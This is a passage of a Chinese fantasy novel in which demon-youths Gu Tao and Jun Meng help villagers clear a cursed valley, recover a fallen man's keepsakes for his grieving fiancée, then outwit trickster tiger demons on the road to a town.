贺远喘着粗气退回安全区域,汗水顺着下颌线滴落,感觉有些眼冒金星。
他的能力是短时间内提升肌肉力量,结合手中这柄精品斧头爆发最大威力,所以必须在能力耗尽以前完成任务。
抹了把脸,默默给自己加把劲,强打精神提起斧头,转身走向另一端。
同样的动作再次上演,凝聚妖力的斧头如同重锤,每一击都让岩缝发出不堪重负的呻吟。
突然,整块横岩发出熟悉的“咔嚓嚓”声,贺远脚下岩块猛地向下倾斜,他下意识攥紧斧头,身体随着崩塌的岩体骤然下坠。
下方的人们紧握双拳,恨不能帮上一把,只能在心中默默为两人祈祷。
顾桃和君梦也做好了随时捞人的准备。
“贺叔!”
无患瞳孔收缩,几乎是凭着本能猛地向后倒仰。双臂如铁钳绞紧绳索,双脚死死蹬往岩棱;一双翅膀在有限的空间里拼命拍打,借着空中的风增加阻力。翅尖在粗糙的岩面摩擦,渗出丝丝血迹,疼得他眼泪直掉,却还是咬紧了牙关寸步不让。
小少年脸色憋得通红,额颈和手臂青筋暴起,只在脑中一遍遍鼓励着自己:一定一定要坚持住!!
凭着这股念头,硬生生让他一点一点将人拉了上来!
无患跌坐在地,控制不住的发抖。
疼,浑身都好疼……
当他看到躺在岩块边缘、气喘如牛的半妖化贺叔,终于忍不住抽泣起来。
贺远胸中“砰砰”直跳,耳中嗡嗡杂音吵得头疼,他艰难地翻身刚想叫无患拉他一把,扭过头却只看见一个无助大哭的孩子。
那扭曲的小脸上满是泪痕和鼻涕,眼里带着后怕的恐惧,还有把贺叔救了上来后的万分自豪,又哭又笑很是矛盾。
贺远趴在地上愣怔地看着这个可怜小娃,突然长出一口气笑骂道:“哭个屁!快点过来拉老子一把!本来还想收你做儿子,这么没出息还是算了吧!”
“……”
横岩崩落的轰鸣还在谷间回荡,一束金箭般的阳光刺破了云层闯入山谷,斜斜扎在方才横岩遮蔽的阴影里,空中飘浮的细小粉末被照得如同流动的金沙。
紧接着,神使带着名为“风”的礼物,随着阳光散向崖壁。
撞散的风回旋着往上,又冲散了大片云层,于是更多阳光顺着崩塌的豁口涌进来,在山谷中切割出交错的光斑。
先前弥漫在谷中上卷的艾草烟雾,被穿堂风打着旋裹向更深处。
那里一团死水般凝滞的瘴气,和着艾烟彼此稀释、消融,渐渐露出了谷底全貌。
阳光照射到底部,深处的巨蟒尸体已经变得焦黑,山风一吹,持续氧化的它慢慢就会只剩一堆骨架。
守在谷口的人们先是怔忡地望着这变化,随即爆发出震耳的欢呼。
殷老族长激动得红了眼眶,伸出双手捧起一把阳光,仔细感受着它的温暖。
贺远刚缓过劲,便听到这满谷的欢腾。
甩了甩发麻的手臂,看向谷底那片正在舒展的光亮,又看看身边渐渐平静的孩子。
“成了……”
“无患你看,我们成了……”
无患向上摊着的双手被勒得满是红痕,一对翅膀下摆更是没了原本的模样,却在听见欢呼声后,抽抽嗒嗒咧着嘴傻笑。
“嗯!!!”
……<
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几个性急的少年顺着新辟的路径往深处冲。
他们的欢呼声突然卡在喉咙里。
映入眼帘的除了大块大块破碎的岩石,还有夹杂在其中若隐若现的征讨遗址。
半截断裂的旗杆,顶端的兽旗早已烂成破布条,依稀能辨出一个“殷”字。
这是当时讨伐行动,大家为了相互鼓励,有人提议像正规军队一样做出的几面旗帜。
再往前缓走几步。
遍地散落的铁剑、断矛和碎石混在一起。暗红的血渍早已与铁锈凝结成了难看的斑块。
本就简陋的铠甲只剩卡在石缝里的甲片,尘土半掩着破碎遗骸……
“是……是二哥的剑。”
一个少年呜咽着指向地上那柄卷了刃的铁剑。
锈迹斑斑的剑柄上,依稀可见二嫂给二哥刻的一朵梅花。
殷老族长慢慢蹲下身子,枯瘦的手指拂过一块沾着毛发的颅骨碎片,浑浊的眼睛流下两行老泪。
方才还雀跃的人们都沉默了。
有捡到亲人遗物的村民,捂着嘴跪在地上,压抑的抽泣声在寂静的山谷中格外清晰。
顾桃察觉到掌中小手的颤抖,紧紧回握。
他们也许还不懂亲人死亡的重量,却从人们骤然僵硬的背景里,感受到了那股沉甸甸的悲伤。
“成海…成海……”
破碎沙哑的嗓音响起。
阿兰在乱石堆中跌跌撞撞,拼命寻找她的思念,可最终还是一无所获。
脚下一绊,她摔坐在地上,神情恍惚中也没觉得身体疼痛,但腿脚麻木让她一时站不起来,只能无助地扒拉着地上巨石块,呐呐地重复:“成海…你在哪里……”
阿兰模模糊糊的视线中,静悄悄出现一双白云纹布鞋,接着红色裙摆层层叠叠落下。
红裙的主人蹲在她身前,轻柔地拉起她鲜血淋漓的双手。
少女歪着头靠近她,声音轻细问道:“你身上可有他的物品么?”
“……”
阿兰抬起头,绝望的眼神中带着一丝不解。
缓缓转动眼珠子才好似明白了什么,忙道:“有的!有的!我给你拿……”
她全然忽略手指尖的剧痛,仔仔细细在衣摆擦着手上血迹,生怕弄脏了怀里要紧的东西。
这时,面前少女再次执起她的手,用撕裂的手帕小心翼翼替她包扎:“不急,不急。”
阿兰从怀里摸出一个粉色小布包,珍重地取出里面那块青玉。
玉上歪歪扭扭刻着一只小兽,尖尖的耳朵长长的尾巴,几根胡须都划到了边缘。
“这是成海送给我的定亲礼,他亲手刻的。”
像是想起那时的场景,当时她还取笑他的手艺,如今也只能苦笑一声。
君梦瞧了瞧她,确定她看不到青玉上缠绕着的那缕白雾。
她摊开手掌:“借用一下可以吗?”
“……”
阿兰犹豫一下便轻轻点头。
君梦接过青玉,不急不缓站起身,就在旁边找了块露出泥土的地面,以脚尖围绕自己画了个圈,分别在八个方位落下一点。
她双手握住青玉举至胸口处,以自身妖力温润着玉内附着的残破魂灵,闭上双眼感受着它仅剩不多的气息。
12. 带他们回家!
君梦的聚灵法阵刚起,顾桃便上前守护。
只见她脚边刮起一阵青色微小旋风,以她为中心,向四周荡漾而去,引得裙摆乱舞。
接着腰间藤鞭开始向下生长,直至钻入泥土中。
不出片刻,便听得东南角一块巨石下面咔咔作响,像是地鼠打洞,又好似什么东西想努力挤碎岩块钻出来。
“咔滋滋……”
随着声响越来越密集,巨石表面竟然开裂,当真从裂开的缝隙中钻出来一枝嫩青色藤条。
这藤枝像是有生命一般,先是往四周各自探了探,最终锁定了君梦的方向,藤枝便继续生长,将顶端结出的果实送到她跟前。
君梦脸色有些发白,勉强抬起眼帘,身子虚弱地一晃。
顾桃立刻上前揽住她,长臂一伸,替她摘下藤端圆乎乎、绿油油的果实。
落了果的藤枝迅速退去,按原路返回,又变回君梦腰间结实的藤鞭。
顾桃展开手掌,已然干枯的果实就像成熟的棉花果一样炸开,里面赫然躺着一只靛青色的绸缎荷包。只是埋得太久有些褪色,看起来灰扑扑的。
君梦将青玉放至他掌中,微瞌双目短憩。
顾桃初时接触玉片,那原本浮动缓慢的玉中残魂忽然一抖,竟虚弱的缠上他手指。
他挑了挑眉,索性凝起一团自己的妖力裹住青玉,帮它稳固气息,不至于消散太快。
他想,成海是想多陪阿兰一段时间的吧。
待他不动声色地完成举动,才将荷包与青玉一并递给阿兰。
阿兰见到他掌中物什,顿时激动地挣扎起身。
然,刚踏出一步又赶紧停住。
她稍微整理了一下衣裳和发髻,这才小跑过来从他手中拿起两件物品。
刚包扎好的手指解开荷包结扣有些吃力,好一会儿才打开,绳索一松,两缕发丝从荷包口冒了出来。
“……成海!”
阿兰音调带颤,恋人的名字刚出口就再也说不下去,发白的指节捏紧了掌中物。
她浑身瘫软,跌跪在地痛哭出声,将脸颊深深埋进手掌中贴近两件物什。
脑海中的回忆像是针一样扎进她心里,密密麻麻地发疼……
君梦不忍,红着眼圈别过头,将脑袋扎进顾桃怀里。
顾桃下意识就想将消耗了不少妖力的她横抱起来。
不想却遭到她的阻止,她躲在暗处吸了吸鼻子,轻轻推开他。
转过脸再看一眼阿兰,她拉了拉顾桃的衣袖,小声说道:“我们走吧……”
心如细发的顾桃从她最后看阿兰的眼神便读懂了她的意思。
她是不愿在难过的阿兰面前“显摆”。
明明前一晚还失血过多,伤口恢复不久又使用大量妖力,明明都快虚弱到站立不稳,却还是选择自己走。
有那么一瞬,他觉得小妮子已经在学着长大了。
……
回到地面的贺远,换他背起受伤不轻的少年郎。
无患强撑着送他下地后,就伏在他背上昏睡了过去。
他看着眼前惨烈的场景,回忆起一个个曾经熟悉的面孔,顿时眼酸喉紧。
离他不远的阿山紧紧将一柄断剑抱在怀里,喉咙已经嘶哑到发不出声,他满脸泪痕跪坐在地上,有些发愣。
贺远闭上双眼沉默良久,直到调整好了自己的情绪才再次睁眼,目光刚毅:“他们没白等!”
“恶蛇消灭了,瘴气也散了…将来这条路就再不是阴鸷诡谲的地方,以后咱们的孩子便可四下奔耍,还可以跟着大人一起进城游玩。”
殷老族长闻言,狠狠抹了把眼睛,用力地点点头。
“没错。”
苍老的声音里带着哽咽,却透着股坚韧的力量。
他不能沉浸在悲伤里,他还有事情要做。
“带上他们,回家!”
众人擦擦眼泪,默默地将那些能发现的遗骸和遗物收拢起来,用干净的麻布裹好。
大家扛起沉甸甸的包裹,顺着来时的路返程。
廖廖阳光落在他们队伍,将影子拉得很长,一半映着亲人的回归,一半透着完成壮举的欣慰。
这是一场迟到的告慰,也是新生的开始。
祭奠的香火会升起,庆祝的水酒也会斟满。
那些逝去的魂灵,终究会随着穿谷而过的风,守护这片重获光明的土地。
……
铁匠铺的一楼小院里,在僻静处布置出了一间暗室。
高高的通风口藏在房檐下,里头布置简简单单的,一张小床配上小桌,还有一根结实细木桩,跟秋千似的横在屋子上方。
浑身缠着绷带的小少年推开木门,从暗室里一瘸一拐走出来,眼睛亮晶晶的,声音里满是兴奋:“贺叔!奶奶!早啊!”
贺远正在院子里洗漱,听到声音回过身,脸上露出笑。
摸了摸他扎手的短发:“臭小子,慢点走。住得还习惯吗?”
“习惯!习惯!我很喜欢!”
无患清亮的笑声在院里回荡,驱散了连日来的阴霾。
“喜欢就好!你贺叔可是把我的私人仓库征用去给你做房间呢。”
人逢喜事精神爽,多了个乖孙的贺奶奶停下烧柴做饭的动作,也难得地开起了玩笑。
“哈哈……奶奶有什么宝贝,让我帮你看守着便是!”
……
药堂门外架着两排竹杆,老药师佝偻着背,小心翼翼地晾晒着草药。
这些天来,他为了照顾伤员和神情恍惚的阿兰,几乎没有合过眼,眼下的乌青重得像挂了两个黑布袋。
今日精神气好些的阿兰终于走出了屋,看到忙碌的老人,声音有些哽咽。
“殷叔……谢谢您。”
老药师回过头,看她眼眶红红的,笑着摆了摆手:“傻孩子,谢什么。好好调理自己的身子骨……成海在天有灵,也不希望看到你这样。”
他叹了口气,将手中药片均匀铺在草编垫子上,语重心长地劝导:“过去的事就让它过去吧,你还年轻,日子总要往前走的。”
阿兰看着老人短短时间便苍老了许多的脸,心里更加愧疚。
她用力点了点头,泪水顺着脸颊滑落。
“您说得对,殷叔,我会好好活下去的!”
她抬起手背将泪痕擦干净,走过来陪着老药师一起整理药材。
不远处的大树下,殷宏正在修理围栏,见她出了门,便时不时往这边偷瞄一眼。
阿兰脸上出现久违的笑,虽然还有些勉强,但也能看出她正努力打起精神来。
殷宏暗暗松了口气。
他一直喜欢着阿兰,见她为成海的死痛不欲生,心里既心疼又无奈。
如今她能走出来,他比谁都高兴,至于自己的心意,慢慢来就好。
……
村里的事情逐渐平息,老族长也开始计划修复谷内的道路。
顾桃和君梦知道是时候继续出发了,他们前一晚便收拾好了行囊,准备向大家告别。
趁着贺奶奶还在往给他们的包裹里塞东西,贺远从立柜最顶上的格子中,取下一个不同于其他的小黑漆木盒。
这盒子款式更加精致,透过窗户的光线,表面微微发红。
打开盒子,从里头拿起一块婴孩儿拳头大小的圆东西。
此物半指宽,做成了玉扣的模样,还用黑绸绳打了金刚结。
他把玩着玉扣又检查一遍,才满意地递给君梦,笑着说道:“你呀,总是横冲直撞的,这块玉佩正好可以为你护身。”
君梦好奇地对着光线打量玉扣,见它黑中带紫,摸起来圆润冰凉,手感细滑。
“贺叔,这是什么做的?”
“山谷那条恶蛇头骨上取下来打造的。”贺远一脸得意。
别看物件不大,花了他不少功夫呢。
“噫~~”
君梦嫌弃地将玉扣往盒子里丢,闻了闻手,还好没味儿。
“你这孩子……”
贺远见她避之不及,忙又抓起玉扣解释道:“好好戴着它!那妖蛇害了许多人,这块骨玉是它吸取了不少精元凝聚而成的,我淬炼好久才祛了它的毒性,如今可是能避百毒的好东西!”
“那我也不要,我本来就是使毒的,能毒倒我的东西可不多见……”
“……这次遇上它,算我倒霉。”君梦
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撇了撇嘴。
她至今还记得那股子恶臭,真真倒胃口。
“不要算了!我给小桃!”
贺远气得脑门儿疼,转手就塞到顾桃兜里,瞪着顾桃哼哼:“你也还回来就给我滚出去!”
“……”
君梦乐不可支,哈哈大笑:“给桃哥佩戴我看可以,反正他总是贴身肉搏的,要更加危险。”
贺远无奈的摇摇头,一点没有因为把君梦不要的东西转送给顾桃而感到不好意思。
他拍拍顾桃的臂膀,少年结实的块头不由让他点头又乐起来,说道:“你如今这般修为,叔叔这地方简陋,着实也不知道送你点什么更好……这玉佩,别嫌弃,今后这不靠谱的丫头还得由你来护着。”
顾桃听他打趣君梦,也跟着笑起来,露出一口白牙:“贺叔您太客气了,宣花斧便是最好的礼物了。”
“嗯,好。”
贺远偷偷地瞄了瞄两人,还是忍不住问:“你俩……可是跟着什么人修行过?”
顾桃一五一十交代道:“倒也没有特地拜过师傅,都是村里的伯伯姨姨们,闲来便教些战斗技巧或是小术法。”
“唔……”贺远听后搓了搓下巴上的胡茬。
之前君梦还不觉得有什么,可现下听贺叔问起,转念一想,同样是村落小妖,可狼牙口村民们的妖力和实力,相比于他们都太弱了些。
难不成山娇村的伯伯姨姨们,当真是深藏不露的?随便教导教导他们两,就能比别的小妖强上许多?
顾桃一边听着贺远反复叮嘱关怀,一边默默看君梦转着眼珠子不知道在琢磨什么,一脸鬼精鬼精的样子。
他忍了又忍,最终还是没忍住,抬起手轻轻往她脑门上丢一个栗子。
“嘶——顾桃!!”
妮子抚着脑门瞪圆了眼,不满地张牙舞爪,惹得众人哈哈大笑。
……
“你爹嘱咐我,不拦你们的旅行,多去历练历练也好。”
贺远按照胡应庾信上所说,只需为他们指引前进的道路。
他走到门边指了指北方。
“顺着这条路一直走,大概三四天就能到镇上。如今这时候,应该正在举办一年一度的猎妖大赛,听说赢了比赛能得到不少奖励,你们可以去见识见识。”
贺奶奶不放心地牵起君梦的手,接过话头:“路上一定小心,就顺着大路,千万不能往林子里走,免得遇上血狼和赤虎那帮家伙。”
两人对视一眼,异口同声道:“奶奶,贺叔,我们会小心的。”
“嗯,走吧……我送你们到村口。”
贺远背着手还没往前走两步,只听背后“噔噔噔”的响动,扭过头就看到瘸着腿的无患也跟了上来。
顿时吹胡子瞪眼道:“你跟来干什么?回去好好养伤。”
无患被奶奶包得像个白米大粽子,连翅膀都动弹不得。
他杵着一条新拐,涨红着脸小声道:“叔,我想送送哥哥姐姐……”
好不容易心中有了个崇拜的对象,却来不及多相处便要分别了,无患很是不舍,一步一挪凑到顾桃身边停下。
顾桃没有说话,只是温和笑着搓了搓他的头顶。
君梦看着无患,双眼眯成弯月,实在是他现在的模样让人忍俊不禁。
她粲然笑道:“无患,你乖乖养好了伤,跟着贺叔好好练。等我们回来,可是要跟你较量的哦。”
无患哑口不言,只觉心头一紧:这似曾相识的眼神好熟悉啊,好像在哪儿见过,都让人寒毛竖起……
两人在村口又和依依不舍的村民们作了告别,接着便踏上了前往渡水镇的路。
“桃哥,殷全为什么不肯留在村子里?也不肯与我们同路?”
“……”
顾桃顿了顿,他没想到一向粗线条的姑娘会思考这个问题。
事件结束后,殷全就背上包裹离开了家乡,当时君梦也有邀请他同行,可他只是轻轻摇头拒绝了。
顾桃替她理了理被风吹乱的乌丝,以自己理解的角度解释道:“我想……可能是村里每个人的眼神,都会提醒着他的痛苦吧。他或许是想靠自己变强,才能宽慰他对老爹和奶奶的遗憾。”
13. 调皮的怪异妇人
胡爹说,顾桃是在深山里一棵桃花树下发现的。
漫天飞舞的桃花瓣,其间站着一只懵懵懂懂的小白虎。
圆嘟嘟的脸上横亘着三道墨色虎纹,从眼角延伸到下颌,衬得那双墨绿的眼珠子愈发清亮。
这小虎娃化形还不太熟练,脸庞半人半兽,身后拖着一头顺滑的雪白长发,沾上两片粉色花瓣随风飘扬。
小小身子裹着一件金丝绣纹的巨大黑袍,袍子下摆以一圈暗线绣了个不显眼的“顾”字。
他紧紧抱着自己长长的短毛尾,襟口滑到了肩头,露出毛茸茸的小胳膊。
发现深山林子里来了人,眼神立刻变得坚定又倔强。
小虎儿不哭也不闹,不问也不怕,跟着喜出望外的黑毛贩子就回了家。
村里的狐狸伯姨们只有一瞬惊讶,便欢天喜地缠着小虎娃这个抱完那个抱,喜欢得不得了,连小君梦也给丢到一边。
她们合起伙来取了个“桃”字,一是在桃树下捡的,二是脸蛋上的小绒毛简直跟个嫩毛桃没两样。
就跟给新建的村子取了个名叫“山娇”一样随意。
从此小顾桃便留在村子里,陪伴着咿咿呀呀满地爬的小君梦。
偶尔胡爹外出,也放放心心地将小君梦交给他,只说这孩子实在太懂事太温和了,这样的宝竟然能被他捡到,可见他功德厚重!
后来两个孩子慢慢长大,顾桃的块头也早就大大超过了伯伯们。
二伯也是从这时候,时不时盯着他发愣。
……
两人沿着河岸一路北上,临河的大道早已杂草丛生,一副许久不曾有人踏足的模样。
河边柳树长长的枝条垂落水中,被流水浸得愈发青翠可人。
岸滩上深坑与浅洼交错分布,巨大枯树横卧在道路旁,枝桠虬曲地伸向天空。
几只灰雀落在上头叽叽喳喳,倒是给这静默的枯木添了几分生气。
这般未经雕琢的野趣,驱散了先前的压抑气氛,使人身心都轻快了许多。
一大一小两团身影,背对着河面蹲坐在低矮青石上。
高个子顶着一颗大大的白色虎头,土褐色的短衫领口微微敞开,锁骨处两道墨色横纹,在脖颈与胸口间蓬松的细浅白毛上划出利落的痕迹。
他卷起袖口,白底黑纹的毛茸手臂搭在盘起来的长腿上;现了形的大长虎尾,被人在尾端缠了一圈鱼线,线的尽头绑了一粒饱满的红桑葚,果子带着线落到了水底。
但他满不在乎,只是惬意地看看天、看看林、看看云朵、看看贴身坐的小妮……
旁边身着鹅黄小衣碧粉裙的姑娘,一头墨色长发只随意用树枝挽起;裙角往上卷起来又打了个结,露出一截雪白的小腿。
裙色同款小布鞋被她蹬得老远,光着脚丫,一条腿盘起来压在另一条腿下,双手撑在小腿上,耸起肩膀歪着脑袋,时不时颤动着白狐耳,仔细感受着身后河水里的动静。
“小鱼儿快上钩呀~”
悠哉游哉的少女音轻轻嘀咕。
顾桃见她又开朗起来,嘴角的笑意便怎么也藏不住了。
君梦的白色尾巴大半都浸泡在水中,细密又蓬松的长尾毛铺散开来,好似一朵松软的棉花糖。
尾巴尖上用尾毛绑着一小块生肉,轻轻晃动下竟像是落水挣扎的小肉虫子。
忽然,尾巴尖上传来一阵尖锐的疼。
“呀!”
君梦猛地蹦起来,拉了尾巴往前一看,有只青壳螃蟹正死死钳着她的尾巴尖,八条小细腿还在半空乱蹬。
她急得直跺脚,把尾巴抡起来甩,火急火燎喊叫着:“狗东西!快放开我!”
“噗呲!”
被甩了满脸水的顾桃抹了一把脸,看到螃蟹后忍不住笑出声。
他也不起身,手臂一探就稳住了君梦,指尖在螃蟹壳上轻轻敲了敲。
那螃蟹受到惊吓立马松了钳,砸在青石上发出脆响。
气急败坏的妮子抬起一脚就给它踹到了水里。
“笑什么笑!”君梦瞪圆了眼睛,气鼓鼓的发难:“再笑我就把你绑起来喂鱼!”
“谁让你好好的杆子不用,非要比尾巴钓鱼,鱼儿没钓到,倒钓上来个横行霸道的将军。”
顾桃脸上带着戏谑,语气也慢悠悠的,顺手替她理了理凌乱的尾巴毛。
君梦脸颊“腾”地红了,抓起一块湿软的泥巴就往他身上扔:“讨厌鬼!”
顾桃侧身一躲,泥巴溅在了身后的草丛里。
“好,好,我输了,大家都用尾巴钓鱼,你好歹有货上了钩,我什么也没钓到。”
顾桃看她实在气呼呼,眼底的笑意更深了,起身揪了揪她的脸颊,并翘起虎尾给她看那颗完好无损的红桑葚。
绝口不提她用肉,却只准他用果子,还嫌他尾毛太短,用鱼线勒得他生疼……
眼看天色不佳,像是要下雨,顾桃一边伏下身子解开她裙摆上的结,一边招呼着她穿上鞋赶路。
他的柔声细语安抚得君梦心情大好,也就不闹了,洗净了爪子跟随他继续上路。
如此这般过了两个日夜,第三日的午后,两人的视野里便撞进了一座巍峨的高山。
青色的山体直插云霄,好似从天而降的巨墙。
蜿蜒的大道被这高山硬生生拦在身后,转个弯便没了踪迹。
山脚下孤零零立着一间破败的土屋,泥墙斑驳脱落,露出杂草和碎石,屋顶茅草稀稀拉拉,光线顺着窟窿照亮了里头光景。
好不容易遇到人家,君梦便吵着要去看看,哪怕一看就是被人遗弃的房屋。
顾桃无法,只得带着她推开破门。
残檐断壁中,那处还能遮风挡雨的屋角堆着少许黑炭,灰烬里留着半块烤红薯,显然不久前有人在此停留过。
“啧,什么也没有……”
君梦连连摇头,不甘心地四下张望。
姨姨们讲的故事里,这样的偏僻地方多半有好宝贝呢。
顾桃揶揄道:“呐,还有一小块烤红薯呢,再不吃就让蚂蚁搬走了。”
“哼!”妮子撅着嘴白了他一眼,气呼呼转身就往外走。
两人走了没几步,就见土屋不远处的灌木丛后,好像藏着一辆木制马车。
马车侧翻在地,车辕歪歪斜斜地杵在泥里,车厢的木板被劈得七零八落。
两只箱子被撬开,装盛的大量日常用品被翻得乱七八糟。
脏兮兮的行李包里露出几件年长女子的衣物,混合着杂物散了一地。
车轮和
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周围的草叶上,沾着一些暗红的痕迹,瞧着像是车主遭到了什么袭击。
顾桃围着灌木丛翻看一圈,很是奇怪,除了这一片狼藉,并没发现半个人影。
两人正蹙眉打量着这一切。
忽然,一阵极轻的呻吟从旁边的草丛里飘了过来。
“呼……呼……”
那声音又低又哑,像是被砂纸磨过的木头,听起来极其不适。
两人对视一眼,拨开半人高的野草走了过去。
草丛深处,跌坐着一个身材异常壮硕的妇人。
她穿着破破烂烂的粗布衣裳,头上裹了块灰色头巾,将整个脸都遮盖得严严实实,只有下巴的位置露出一小片淤青似的青灰皮肤。
丝丝生人的血腥味传入两人鼻尖。
那妇人手肘撑地,身子蜷成一团,每每哼吟,肩膀就颤抖一下,好似承受着天大的痛苦。
可不知为何,她低沉的嗓音里,除了痛苦,还夹杂着一种说不出的诡异。
顾桃微眯起眼,眸子沉静。
他指尖不轻不重地扣住君梦的手腕,生怕她见人可怜就冲上去。
可君梦却并不见有何动作,只眨着圆溜溜的杏眼来来回回在妇人身上审视。
那妇人也是奇怪,始终躲避着她的目光。
“桃桃,我们走吧。这人活不久,救不了。”
君梦收回好奇的目光,语气平淡。
“嗯,好的。”
“……”
两人毫不犹豫转身就走,甚至旁若无人地闲聊了起来。
“呼……救、救救我……”
妇人挣扎着朝两人的方向挪动了一下身子,可他们不仅没回头,反而加快了脚步。
妇人顿时急了,难道真是自己声音太小,当真显得无药可救所以干脆不救?
这么一想,她不由加重了音量喊道:“小哥…求您带我回镇上……家里必会重谢……”
前头两人一听这话,也不装了,索性拨开草丛撒腿就跑。
“……”
妇人僵在原地,下一秒,从衣袍里伸出一只绿爪子,恶狠狠扯下头巾砸在地上。
头巾下哪是什么妇人,尖牙利齿,青皮红眼,黑瞳竖成细细的一条,死死瞪着两人跑远的方向磨牙:又玩脱了!两个油盐不进的臭崽子!
赤虎妖怒极,猛地仰起头,发出一声刺耳的尖啸,刮得人耳膜发疼。
四面八方的草丛刹时窸窸窣窣响成一片,七八只赤虎钻了出来,很快把两人团团围住。
顾桃的表情瞬间冷了下来,揽住君梦肩膀护在怀里。
一只赤虎快速挥着爪子扫来,却在他们摆出姿态防御时猛地收住,咧开大嘴支着獠牙,喉咙里发出嗬嗬的怪笑。
另一只则在他们眼皮子底下绕到身后,明明作出偷袭模样,却故意放慢了动作,让他们轻松躲开。
两人心照不宣,这是在戏弄猎物,看来这群怪物贪玩得很。
君梦本就不是个安分的性子,被它们连续捉弄两趟,玩心也被勾了起来。
顾桃眉峰一拧正要动手反击,却被君梦悄悄拉住袖子。
他低头看去,只见她眼底亮晶晶的,满脸兴味盎然。
这时,侧面的赤虎也怪笑着欺身而来。
14. 魅术成败也要分人
君梦身形一闪,灵活避开它的假意扑击,反手就朝它脑壳上拍了一下。
那赤虎愣了愣,像是没料到她还敢反击,随即更加兴奋,嗷呜叫着又追上来。
君梦仗着身形灵活,在赤虎妖之间穿梭,时不时还故意露个小破绽,引得它们一阵乱蹿,却怎么也抓不到她。
顾桃则彻底被晾在一旁,有些无语。
他神色淡淡任她玩耍,却总能精准地帮她撇开凑近的怪脸,半点不让她落入下风。
玩了好一会儿,君梦觉得没意思了。
她假装体力不支的样子,脚步都带着点踉跄,皱着眉低呼:“桃哥怎么办?我们是不是跑不掉了!”
赤虎们见状更得意了,发出一阵尖锐怪笑。
其中一只大张其鼓往旁边挪了挪,露出个明显的缺口,眼里满是 “这里这里,快逃!” 的戏谑。
君梦心里暗笑,拉着顾桃装作慌不择路就朝那个缺口冲。
赤虎们见两人果真上当,更是激动得嘴里嗷嗷直叫,伸长利爪呼啦啦就扑上来。
就在这千钧一发之际,君梦突然猛地回头,原本暗红的眸子瞬间亮得慑人心魄,周身溢出一片粉色浅雾往四周荡漾。
扑来的赤虎动作瞬间僵住,眼神直愣,脸上的凶相转眼就变成了傻呵呵的笑容。
最前头那只赤虎,居然直接蹲下身,抱起地上一块土疙瘩,“啊呜”一大口就啃了下去,还砸吧砸吧嘴,丑脸上洋溢着满足。
其他赤虎见状,哈喇子流了一地,红着眼连连怪叫就要扑过去抢。
原本的包围圈瞬间变成了抢泥块大战。
君梦捂着嘴,肩膀抖得厉害,想不到下山后第一次使用五伯教的幻术就成了!算是弥补了她多年来总在他们跟前吃瘪的窝囊气!
顾桃看着眼前这荒诞的一幕,也是无奈地摇了摇头,轻声提醒道:“趁它们没醒赶紧走,你现在的法力撑不了多久。”
君梦眼含笑意点点头,恋恋不舍地看了眼还在抢泥块的赤虎妖,多少有些遗憾,本来还想看看它们清醒过来尝到满嘴泥会是什么表情。
顾桃怎会不懂她,拉起她的手快步往大路上走,语气里带着点打趣:“等它们醒了,肯定是气急败坏的。被这群皮糙肉厚的东西缠上也是挺闹心,它们喜欢玩,你也把它们玩了,犯不着为了看热闹再惹麻烦。”
君梦想了想,也是。
刚跟了两步,像是又想起什么,偷偷睨了眼拉着她赶路的顾桃,满脸促狭笑意,故意夹着嗓子,娇声娇气喊道:
“哥哥~”
顾桃浑身如过电,麻得脚步一僵,转过头时声音有些沉:“怎么……”
只见眼前浅雾未散,空气中芳香浓郁,平日上蹿下跳的丫头收了那股野劲儿,此时面颊粉嫩,杏眼妩媚,樱唇轻启,就那么含情脉脉仰头凝望着他……
顾桃心头咯噔一下,虽说瞬间就看穿她的小把戏,耳根却还是不受控制地发红。
他抬手屈起食指,毫不配合赏了她一个栗子,又气又笑:“不许拿我练手!”
“哎哟!”
君梦捂着额头直咧嘴,周身粉晕“唰”得就散了,小脸一垮,撅起嘴剜了他一眼,心中腹诽:怎么总对他没用?!
“知道啦知道啦!”
顾桃重新牵起她的手,努力憋着笑,对她写在脸上的不甘心全当看不见。
……
转过连绵的山弯,陡峭的山势在此处变得平缓,眼前一条被踩踏得坚实的小径,通往前方明显修葺过的碎石子路。
后方一片林立,也难以遮掩那道算不上高的石头围墙。
“哦!到啦!”
君梦接过顾桃递来的水壶狂喝几口,大大地呼出一口气。
也不等顾桃回应,自顾自蹦蹦跳跳地往前去了。
“竹篮晃呀晃过青石桥~布鞋沾着晨露草……姑娘捏皱了油纸包~里头裹着枣……”
歌声清脆干净,词句简单,调子轻快,在这寂静的山林间荡开,与周围景象一融合,还别有一番意境。
顾桃收回水壶也呷了一口,耳边听着她哼唱那不知何处学来的调子,嘴角不由勾起一抹笑。
石墙围着小镇,墙沿爬满了青苔,一座大大的粮仓高高冒出头。
关口站着两个穿粗布短打的汉子,手持棍棒。
见有人从南方过来,原本倚着墙壁的姿势换成了站立,脸上带着探索。
等二人进了镇子,那两个汉子便在背后交头接耳嘀嘀咕咕:
“这巨林道能通行了?”
“不知道,前几天不是还有个行商的大娘就非要过去吗……”
顾桃将两人对话听得清楚,想起那一地散乱的马车和货物。
君梦一心早已飞到眼前大街。
镇子里面热闹非凡,一条主街贯穿南北,两旁摆满了各式各样的摊位,卖菜卖肉卖小食,叫卖声交织成一片喧嚣声浪。
路边的店铺大多是石木结构,风格倒是和狼牙口差不多,只是各个铺子门口都挂着幌子,上面写着“酒”“布”“药”等字样,分门别类详细得很。
在顾桃打听着关于比赛的情况时,君梦已经被眼花缭乱的小食摊缠住脚步。
她踮着脚,伸长了手臂去够稻草扎棒上的展品——高高的棒子顶端插着一串晶莹糖丝勾画的展翅凤凰。
卖糖画的老头正巧抬起头,想扭动扭动酸痛的脖子。
近在咫尺的身影吓了他一跳,打个哆嗦大喊一声:“哎!”
手里的铜勺“当啷”掉在铁板上,烫出一串焦糊的气泡。
“?!”
正努力伸展身体的君梦随即缩回了手,瞪着老头抱怨道:“喊什么!你吓到我了!”
“你……你这小姑娘,好生不讲理!”老头青白着脸拍拍胸脯。
顾桃闻声连忙将她拖到身后,“打扰,打扰,实在不好意思……”
随后从怀里掏出三枚铜铢交到老头手上,再摘下那串糖凤凰,牵起妮子逃也似的离开摊子。
君梦就着凤凰尾“咔嘣”咬一口,甜得笑弯了眼。
本着好物要与在意的人分享,她举起糖画凑到顾桃唇边,让他也尝尝。
顾桃看着眼前糖画,缺口上还沾着晶莹水渍,红着脸婉拒:“……我,我不吃。”
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君梦正要劝他,忽听有人讲故事,目光立马又被吸引过去。
“说时迟那时快!只见道长手持宝剑砍向那千年狐妖……”
前方一大群人,围在那听得津津有味,着长衫的说书人正唾沫横飞地边讲边比划。
